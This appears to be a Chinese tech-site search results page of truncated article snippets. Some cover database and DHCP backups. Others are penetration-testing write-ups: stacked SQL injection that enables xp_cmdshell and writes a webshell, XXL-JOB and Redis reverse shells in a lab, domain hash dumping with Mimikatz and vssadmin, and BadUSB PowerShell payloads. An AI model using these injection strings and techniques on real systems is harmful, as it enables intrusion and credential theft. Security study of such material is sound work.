首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

记一次堆叠注入拿shell的总结

;EXEC sp\_configure 'xp_cmdshell',1;RECONFIGURE;复制代码尝试直接注入cs的powershell上线 好家伙,直接上线 ,看来函数没有被禁用EXEC master.....xp_cmdshell’免杀powershell命令’复制代码?...首先看了一下进程,emmm 那么多powershell进程……没有啥玩的必要了。 可以尝试溯源一波,下篇文章发。 ?也没有内网,收工。 ?...很多情况上面两个函数并不能执行(存在杀软),mssql数据库可以用一下两个方法2.log备份写shell前提条件:1.数据库存在注入2.用户具有读写权限,一般至少DBO权限3.有网站的具体路径4.站库不分离而且这种方法备份出的马子体积很小...创建表格%';create table orange(a image) --复制代码3.写入webshell%';insert into orange(a) values (0xxxxx) --复制代码4.进行差异备份

2.7K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    如何高效的使用PowerShell备份数据库

    当然,这只是一个实例,加入打算备份每一个数据库在备份在各自的数据库实例的服务器上,又该如何修改上面的语句那?...假如你的工作中包含了备份数据库,那么使用PowerShell来备份数据库就是一种值得使用的方式了,尤其是当你数据库服务器上都有PowerShell的时候。...注意:这是在PowerShell ISE中,其他的编辑器可能会有不同的弹出参数的的触发。比如我尝试了在PowerShell console 中需要用“Crtl”+空格键才会触发。...使用下面来获得名字: Get-Date -UFormat %Y%m%d%H%M 综上,我们需要添加一个循环所有备份语句指令,以便于我们可以修改备份文件名字。...本文中显示的所有代码都是使用SqlServer PowerShell模块完成的,该模块使用SSMS 2016(16.5+),而我的机器运行的是PowerShell的5.1版本。

    2.5K60

    如何高效的使用PowerShell备份数据库

    当然,这只是一个实例,加入打算备份每一个数据库在备份在各自的数据库实例的服务器上,又该如何修改上面的语句那?...假如你的工作中包含了备份数据库,那么使用PowerShell来备份数据库就是一种值得使用的方式了,尤其是当你数据库服务器上都有PowerShell的时候。...比如我尝试了在PowerShell console 中需要用“Crtl”+空格键才会触发。...使用下面来获得名字: Get-Date -UFormat %Y%m%d%H%M 综上,我们需要添加一个循环所有备份语句指令,以便于我们可以修改备份文件名字。...本文中显示的所有代码都是使用SqlServer PowerShell模块完成的,该模块使用SSMS 2016(16.5+),而我的机器运行的是PowerShell的5.1版本。

    1.9K20

    4-MYSQL容备与入坑

    A: 迁移或者升级数据库时; 增加从库的时候; 硬件或者特殊异常情况下,主库或者从库宕机,主从相互切换,建立新的从库的时候。 人为的DDL,DML语句,主库没办法了,所有的库都会执行,此时需要备份。...小结: 人为或者程序逻辑方式在数据库中执行SQL语句等误操作,都需要增量恢复. 从库进行全量和增量方式的备份,可以防止人为对主库的误操作导致数据丢失,确保备份的从库和主库是同步状态。...描述:利用mysqldump备份数据库过程,实际上就是把数据从mysql库里以逻辑的SQL语句的形式直接输出或者生成备份的文件的过程; 1.1 备份数据库(全备) #语法: #use mysqdump...,从机中拉取主机中的LOG-bin文件及其位置进行复制,相反主机也从从机中抓取数据 CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000006', MASTER_LOG_POS...# at 位置数 --stop-position :指定结束位置 --start-datetime : 指定开始时间 # 时间 --stop-datetime : 指定结束时间 注意使用之前必须开启在配置中开启增量备份

    1.8K30

    备份和还原Windows DHCP服务

    在本教程中,您将学习如何使用DHCP控制台和PowerShell备份和还原Windows DHCP服务器。 您是否曾经经历过DHCP服务器崩溃或故障?在设备开始重新启动之前,一切都会平静。...每60分钟进行一次DHCP数据库自动备份 默认情况下,Windows将每60分钟在此位置%SystemRoot%System32\DHCP\backup备份DHCP配置。...重要提示: 尽管Windows自动备份DHCP配置,但是如果服务器崩溃并且您无法访问文件系统,则对您不利。建议将位置更改为网络共享,或使用备份软件备份文件夹。...您还可以计划任务以将备份文件夹复制到另一个位置。 使用DHCP控制台手动进行DHCP备份 在此示例中,我将备份服务器DHCP1上的DHCP配置。...我有一个小型实验室,但可以看到两个范围(租约和保留)都已恢复。 使用PowerShell备份DHCP服务器 此示例将本地登录到服务器。 使用以下命令通过PowerShell备份DHCP配置。

    3.2K10

    MySQL数据库5事务、视图、触发器、函数、数据库的备份

    ,即要执行的任务 commit / rollback;(commit 是提交,rollback 是撤回,这里的撤回是撤回事务里的所有SQL语句) 1.2.2使用事务解决转账问题代码演示 mysql> create...应用场景:当网点上有人下单时,订单表中需要增加一条记录,同时库存表中需要减少1,这两个操作是前一个操作触发了后一个操作。...LEFT(str,len) 返回字符串str 从开始的len位置的子序列字符。...RIGHT(str,len) 从字符串str 开始,返回从后边开始len个字符组成的子序列 七、数据库的备份 目的:将重要的数据保存下来。...原因:powershell导出的文件默认编码格式是utf-16,须要将其转换为ASCII编码格式才能正常导入,可以用windows文件转码命令进行转码具体可参考此链接。

    97430

    vulntarget-k

    ("GLUE(PowerShell)", true, "powershell", ".ps1"); 然后修改glueType为GLUE_SHELL再来尝试一下成功反弹shell POST /run HTTP...shell,对 getruntime 执行命令进行编码或者使用数组的形式命令执行,但是都无法反弹shell,有可能是那种不出网的,nc收不到东西都 POST /actuator/gateway/routes...# 添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误 set xxx "\n\n* * * * * bash -i...系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建 config set dir /var/spool/cron config set dbfilename...CONFIG GET dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys:

    1.2K30

    人人都值得学一点PowerShell实现自动化(6)自动化微软系产品

    例如笔者之前经常吃亏在写Sql视图、存储过程时,当某些时候需要修正一下逻辑,就容易没太在意,在原来基础上直接通过Alter语句来改写,有时不小心,逻辑改错了,又已经执行了Alter命令,最终之前写过的逻辑就被覆盖了...从上面的场景来说,其实我们想要的一个效果更多地是还原元数据即可,如果有备份好元数据,我们重新从元数据里找过去写过的视图、存储过程,然后拿过来重新还原,成本更低。...一个小坑,不知道什么原因,使用PowerShell备份Azure SQL时报错,最终项目真实环境是用了C#生成的控制台程序,没有使用PowerShell脚本。...有可能某些真实环境控制台程序访问权限问题受限,不得不使用PowerShell脚本,所以还是很有必要学习使用PowerShell的方式实现一下。...简单带过一下PowerShell自动化OFFICE程序 和VSTO开发类似,只要拿到OFFICE程序的Application对象后,就可以轻松例用VBA的对象模型,进行OFFICE的自动化操作。

    1.8K10

    细说渗透江湖之出荆棘入深林

    到这里,起码说明了我们的权限还是比较高的,“nt system”权限,之前尝试过通过empire生成一个powershell直接反弹shell回来,这里也是不行的,而且“sys_eval”函数内存在一些特殊字符也是不行的...从现在我们了解到的讯息来看无法确定是什么原因造成的,于是产生了两个假设: 1、 命令没有传递过去也就没有执行。 2、 该服务器所在环境不通外网。...有了这两点猜测,我们去一一解决这两个问题,第一个问题通过变换ps语句内容将输出文件中的内容转义成正常格式就可以了。...这里需要特别注意: 1、在生成快照成功后,mount装载成功以后,我们就得到了文件位置需要另开一个cmd,对快照中的ntds.dit与system进行copy。...下面就是使用WPR破解hash就好了。 迂回夺旗 到这里我们拿到了域内主机的部分密码,我看了一下工资系统的系统账号密码也在内,于是登进去看了一下。

    45910

    细说渗透江湖之出荆棘入深林

    到这里,起码说明了我们的权限还是比较高的,“nt system”权限,之前尝试过通过empire生成一个powershell直接反弹shell回来,这里也是不行的,而且“sys_eval”函数内存在一些特殊字符也是不行的...从现在我们了解到的讯息来看无法确定是什么原因造成的,于是产生了两个假设: 1、 命令没有传递过去也就没有执行。 2、 该服务器所在环境不通外网。...有了这两点猜测,我们去一一解决这两个问题,第一个问题通过变换ps语句内容将输出文件中的内容转义成正常格式就可以了。...这印证了我之前的第二点猜测-服务器所在环境不通外网 这个服务器上有两个站,只能再翻目录去找第二个站的绝对路径,但愿不会再出问题了,我早已遍体鳞伤。尝试第二个站去写shell访问的时候发现可以连接了。...这里需要特别注意: 1、在生成快照成功后,mount装载成功以后,我们就得到了文件位置需要另开一个cmd,对快照中的ntds.dit与system进行copy。 ?

    70021

    SQL Server 代理进阶 - Level 2 :作业步骤和子系统

    图2 - 创建一个新的工作步骤 我已经完成了这个工作中的步骤,在开始备份之前对master数据库进行完整性检查。我可以一步完成所有工作,但是要在步骤之间向您展示工作流程。...“类型”下拉列表是选择SQL Server代理子系统的位置。下面将描述可能的子系统。 Transact-SQL作业步骤没有安全代理帐户,所以作业步骤将在作业所有者的上下文中运行。...图3 - 新的作业步骤高级选项 如果由于某种原因某个步骤失败,则可以选择可以尝试重试该作业步骤的次数。 您也可以在每次尝试成功完成作业步骤之间指定延迟(以分钟为单位)。...从第一步开始执行作业(如图6所示),并在第一步成功运行时观察作业流程,然后转到作业的第二步和最后一步。 ?...如果你精通VBScript,这可能是一个方便的子系统,但是从SQL Server 2008开始,这个子系统已经被弃用,你应该使用PowerShell子系统。

    1.3K40

    Windows 重装 | 笔记

    引言 2022-02-12 系统蓝屏,无法进入, 多次尝试修复, 无果,遂重装。 1....- 猿料 把utools和数据文件夹放在其他盘,通过符号链接放到c盘utools默认的位置 这时候c盘就会出现这两个文件夹,但是不占空间,数据都保存在其他盘, 重装后只要重新建立符号链接,就可以直接使用...“英语”版本中,默认时区为“美国太平洋时间(PST)”,时钟使用12小时格式,日历从星期日开始。...如果是全新安装,您可以自行进行版本的选择; 微软发行的Windows10系统分为家庭版、专业版、教育版、企业版,一般在新版本正式发布之前会有预览版发行,供测试使用。...使用 Dism++ 导入备份的驱动 5.1 将 鼠标 的驱动更新为备份的 人机交互接口(Human Interface Devices)-触摸板驱动 Synaptics 只有这样做后,才能实现 双指滚动

    2.1K41

    Active Directory中获取域管理员权限的攻击方法

    第 2 步:使用从第 1 步收集的本地管理员凭据尝试向其他具有管理员权限的工作站进行身份验证。这通常是成功的,因为很难正确管理本地管理员帐户密码(现在您可能应该只使用Microsoft LAPS)。...管理员使用 PowerShell 远程连接到服务器 A,然后尝试从服务器 A 连接到服务器 B。不幸的是,第二次连接失败。...因为远程服务器不拥有您的凭据,所以当您尝试进行第二次跃点(从服务器 A 到服务器 B)时,它会失败,因为服务器 A 没有用于向服务器 B 进行身份验证的凭据。...以下是获取 NTDS.dit 数据的方法(非全面)列表,无需域管理员: 备份位置(备份服务器存储、媒体和/或网络共享) 使用备份共享中的 ntds.dit 文件访问 DC 备份和后门域。...确保存储 DC 备份的任何网络可访问位置都得到适当保护。只有域管理员才能访问它们。别人会吗?他们实际上是域管理员! 在升级到域控制器之前,找到在成员服务器上暂存的 NTDS.dit 文件。

    5.2K10

    记一次完整的内网渗透经历

    所以这里直接尝试cs自带的Scripted Web Delivery模块,直接创建一个web服务用于一键下载和执行powershell。...运行刚刚生成的powershell 这边的CS成功上线。 这里我们先来看看系统的信息。...beacon创建一个监听器 接着使用psexec_psh尝试上线192.168.200.6这台服务器 成功上线 接下来就对新上线的机器做一波信息搜集 没有其他发现,接下来回到起点,看看这个网段里面还有哪些机器...出网的这台机器也只有7001端口出网,所以找到了weblogic的web路径,从共享文件夹中把压缩包都放进了web路径中,从web端进行下载。...最后再利用抓取到的哈希对目标那台DC主机进行PTH攻击,接下来就是对域进行信息搜集和深入渗透了......! 不得不说作者渗透经验丰富、思路清晰,值得一学!

    1.1K30

    抓取域密码哈希的各种工具集合

    NTDS.DIT 文件经常被操作系统使用,因此不能直接复制到另一个位置提取信息。...Mimikatz Mimikatz 有一个功能(dcsync),该功能使用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码散列。...Empire PowerShell Empire 有两个模块可以通过 DCSync 获取域内哈希。这两个模块都需要以域管理员的权限执行。...如果已经生成了黄金票据,则可以使用 Kerberos 与域控制器进行身份验证。 vssadmin vssadmin 是一个 Windows 命令行实用程序,管理员能够使用它备份计算机、卷和文件。...在执行期间,fgdump 将尝试禁用可能在系统上运行的防病毒软件,如果成功禁用则将结果保存在文件中,如果失败,则不进行提取,防止被检测,使用方法直接在域控上运行即可: fgdump.exe ?

    2.3K50

    解决WSL ext4.vhdx文件过大的问题

    注意事项 • 操作前请备份 WSL 环境,以防万一。 • 操作过程中可能会遇到风险,请谨慎操作。 • 请确保您了解每一步的操作,并在实施前进行充分的研究。...备份 WSL 环境 在执行任何操作之前,建议备份您的 WSL 环境。有多种方法可以备份 WSL 环境,请参考相关文章确保您能够进行至少一次备份。 实施步骤 1. ...检查磁盘空间 打开 PowerShell 并检查当前磁盘空间使用情况。 PS C:\Users\myname> wsl > df 2. 停止 WSL 停止在操作系统上运行的所有 WSL 实例。...找到 ext4.vhdx 文件 找到并记录 ext4.vhdx 文件的位置。...尝试 optimize-vhd 尝试使用 Optimize-VHD 命令优化 ext4.vhdx 文件。 PS C:\Users\myname> Optimize-VHD -Path .

    77910

    基于ArduinoLeonardo板子的BadUSB攻击实战

    同学的《使用arduino进行渗透测试》则通过SET与Arduino的结合进行渗透,mrzcpo同学的 《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》则介绍了获取文件的详细步骤,...2、最大化隐蔽操作 在调出运行窗口后输入 cmd /c start /min powershell -w hidden /c标明执行玩/c后面的语句后关闭cmd窗口,就不会弹出一个黑框来吓人了,start...(msfvenom可能由于集成了两个功能,导致不能多重编码||=_=) ?...3.3)TheFatRat Screetsec组织新出了一个TheFatRat,可以生成免杀的Payload,也是使用的Powershell+bat进行攻击我们来看一下效果:P生成步骤: ? ?...尝试后发现[2]Create exe file with c# + Powershell产生的exe文件会在一会后报毒,也许可以用,但还是会引起被控者警觉,看来Powershell,bat这样Windows

    2.1K70
    领券